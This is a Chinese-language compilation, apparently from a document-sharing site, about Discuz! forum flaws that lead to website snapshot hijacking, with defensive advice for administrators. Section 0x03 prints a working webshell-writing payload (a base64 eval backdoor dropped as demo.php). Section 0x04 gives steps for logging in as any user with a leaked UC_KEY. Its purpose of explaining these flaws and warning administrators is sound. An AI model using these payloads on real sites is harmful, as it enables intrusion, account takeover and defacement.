DZ网站快照劫持漏洞【最全整理】
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
0x00 网站快照劫持:DZ常见漏洞利用分析
0x01Discuz上传图片附件实现远程命令执行漏洞
漏洞产生过程:forum_image.php中的$w,$h变量可控,末处理直接传入Thumb()函数,经该函数传入Thumb_IM()函数,最终调用exec()导致远程命令执行漏洞。
通过分析可知:需要forum.php调用image_class模块调用图像预览功能,后台上传设置为ImagicMagick库,默认为GD库渲染。
前台登录发贴上传图片附件。
提示: forum.php是常被利用的文件(论坛首页入口组件),论坛附件上传是个突破口。
0x02ImageMagick远程执行漏洞分析及利用
目前所有版本的Graphicsmagick和ImageMagick都支持打开文件,当文件名的第一个字符为‘|’,则文件名会被传递给shell程序执行,导致(可能远程)代码执行。
提示:ImageMagick图片程序对文件名处理机制存在漏洞
0x03Discuz GetShell(获取权限)漏洞EXP
1.注册任意账户,登陆用户,发表blog日志(注意是日志)
2.添加图片,选择网络图片,地址
{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAg QGV 2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
3.访问日志,论坛根目录下生成demo.php,一句话密码c
由0x01、0x02与0x03可知论坛上传图片是被利用最常见的漏洞,管理员们要注意把控。
0x04 Discuz获取UC key Getshell(获取权限)。
知道UC的appkey的情况下getshell,问题的根源在于api/uc.php
几乎所有版本都可以(在得到uc_key情况下)/api/uc.php里面有个synlogin 方法
只要网上随便找个以前uckeygetshell的脚本加密一下这个
'time='.time().'&action=synlogin&uid=你
要登录的用户的id';得到code后直接访问域名/api/uc.php?code=你加密后的code,就能登录了,admin
管理员也是可以登录的。
Discuz 的UCenter创始人密码可被爆破,访问登录路径
/uc_server/admin.php实现爆破修改文件默认路径,robots.txt注意目录防护,修改UC key加强防范。
有乌云白帽发现Discuz!程序存在一个安全bug,在得知UC_KEY的情况下,可以轻松向受害站点写入后门代码,可对服务器进行渗透或者对网站进行篡改,挂马。
获取到的UC_KEY,可重置论坛任意用户的密码,并清除安全提问。
利用UC_KEY可登录任意用户。
UC_KEY的泄漏主要有以下几个途径:
1.整站打包备份被下载
2.文件备份压缩包被扫描下载
3.SVN等源码管理系统泄漏代码
4.服务器入侵被提了UC_KEY用作后门等等
UCenter Server是不能通过uc_key来获取该服务器上的webshell的,不过
可以通过uc_key重置用户口令。
获取uc_key可以通过“config\config_ucenter.php”文件获取。
如果系统开启了防水墙会禁止危险脚本访问,对利用代码进行屏蔽和阻止,导
致Webshell 获取失败。
对于X2.5系列,则可以轻松获取Webshell,执行命令“php uc_key.php”命令后,会直接修改“config\config_ucenter.php”。
由0x04可知,UC key是十分重要的,最好定期修改,如果网站被黑内容被篡改找不到任何突破口,请先修改UC key!
0x05Discuz redis/memcache+ssrf Getshell漏洞问题
Discuz存在SSRF漏洞,在配置了memcache的情况下,攻击者可以利用ssrf
通过memcache中转,向磁盘上写入Webshell恶意代码,从而造成数据库泄漏。
解法一:
更新替换官方补丁文件:/source/function/function_core.php
解法二:
停止使用或卸载memcache
windows下的Memcache卸载方法:
memcached -d stop
memcached -d remove
sc delete "Memcached Server"
linux memcached 卸载方法:
1、首先查找你的memcached所在目录,可用如下命令查找名为memcached的文件夹
find / -name memcached
2、结束memcached进程
killall memcached
3、删除memcached目录及文件
rm -rf /www/wdlinux/memcached
rm -rf /www/wdlinux/init.d/memcached
4、关闭memcached开机启动
chkconfig memcached off
5、把memcached移出开机启动
chkconfig --del memcached
一般的小站用不着redis/memcache缓解网站压力,所以基本是大站才会受影响。
redis/memcache是干嘛的呢?其实可以把它们理解成一个高性能的数据库,当
网站的缓存很大的时候,利用redis/memcache来处理缓存可以提高网站的性能dz 的后台也可以看到是否在使用redis/memcache。
如何用redis/memcache做Mysql缓存层呢?
memcached和redis的区别。
前者终究是个缓存,不可能永久保存数据(LRU机制),支持分布式,后者除了缓存的同时也支持把数据持久化到磁盘等。
前提:较少变更的数据才适合做缓存(如css与脚本等)
首先你要自己在服务器上安装redis,然后php默认没有redis扩展,还需要安装phpredis扩展,顺便说一下,phpredis的2.1版本兼容性不太好,安装上去后无法访问网站,用2.28版本就可以了
CentOs下安装Redis和php Redis扩展并配置开机启动
linux php redis扩展的安装和redis服务的安装
0x06 SSRF漏洞原理与复现
简单的说,漏洞就是通过ssrf来操作redis,更改了全局变量的值,导致任意代码执行
当dz设置使用缓存后,初始化时会把缓存内容加入全局变量$_G
Source/class/discuz/discuz_application.php
redis 使用的时候一定要设置密码和访问权限
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网
无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
具体危害体现在以下几点上:
1、URL为内网IP或域名,攻击者将可以通过SSRF漏洞扫描目标内网,查找内网内的漏洞,并想办法反弹权限。
2、URL中包含端口,攻击者将可以扫描并发现内网中机器的其他服务(除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等)。
3、当请求方法允许其他协议的时候,将可能利用gophar、file等协议进行第三方服务利用,
如利用内网的redis获取权限、利用fastcgi进行getshell等。
很多开发者认为,只要检查一下请求url的host不为内网IP,即可防御SSRF。
这个观点其实提出了两个技术要点:
如何检查IP是否为内网IP
如何获取真正请求的host
于是,攻击者通过这两个技术要点,针对性地想出了很多绕过方法。
0x05与0x06 ssrf Getshell是比较牛的黑客技术才能做的到的。
综上可知,网站被黑,无非就是上传文件getshell提权扫描分析站点文件,执行代码篡改。
可针对以上漏洞,采取加强措施防范,重要的事情说一遍:插件不要随便用,后门可执行代码防不胜防!。